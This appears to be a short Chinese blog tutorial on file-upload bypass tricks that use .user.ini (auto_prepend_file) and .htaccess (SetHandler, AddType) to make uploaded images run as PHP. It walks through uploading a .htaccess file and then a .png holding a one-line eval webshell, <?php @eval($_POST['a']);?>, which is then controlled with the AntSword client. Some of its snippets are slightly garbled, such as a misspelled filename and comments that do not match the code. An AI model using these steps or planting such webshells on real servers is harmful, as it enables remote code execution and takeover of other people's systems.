.user.ini和.htaccess的利用技巧
.user.ini上传个用户配置
.user.ini的妙用原理
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
.htaccess利用技巧
.htaccess文件是Apache服务器中的分布式配置文件(IIS中不存在该文件),该配置文件会覆盖Apache服务器的全局配置,作用于当前目录及其子目录。在httpd.conf配置文件中,AllowOverride参数就是指明Apache服务器是否去找.htacess文件作为配置文件,如果设置为none,那么服务器将忽略.htacess文件;如果设置为All,那么将启用.htaccess文件,所有在.htaccess文件里的指令都将被重写,即允许.htaccess文件覆盖掉Apache的配置。
如果一个Web应用允许上传.htaccess文件,且.htaccess文件启用,那就意味着攻击者可以更改Apache的配置,这是十分危险。
.htaccess文件攻击有三种方式:
当.htaccess文件内容如下,会将内容符合php语法规则的文件当作php文件解析
匹配文件名中的关键字(比如:当文件名[info.php.png] 中包含关键字[.php],并且.htaccess文件内容如下,info.php.png中的代码会被执行)
匹配文件名,当.htaccess文件内容如下,可以将匹配到的文件名的文件中的代码执行
.htaccess配置将jpg转成php
经常出现在文件上传的黑名单没有限制 .htaceess
后缀,通过上传 .htaccess
文件,再上传图片,使图片的 php
恶意代码得以被解析执行
.htaccess
文件内容有如下两种
1.SetHandler
指令
新建.htaccess文件
# 将images.png 当做 PHP 执行
<FilesMatch “images.png”>
SetHandler application/x-httpd-php
</FilesMatch>
2.AddType
新建.htaccess文件
# 将 .jpg 当做 PHP 文件解析AddType
application/x-httpd-php .png
upload and get shell
只能上传图片格式
操作步骤
新建.htaccess文件
# 将 .jpg 当做 PHP 文件解析
内容:SetHandler application/x-httpd-php
上传.htaccess文件,成功
接下来上传.png文件,文件中是一句话木马<?php @eval($_POST['a']);?>
他就会吧png当成PHP 文件解析,接下来就可以蚁剑连接了,
暂无评论内容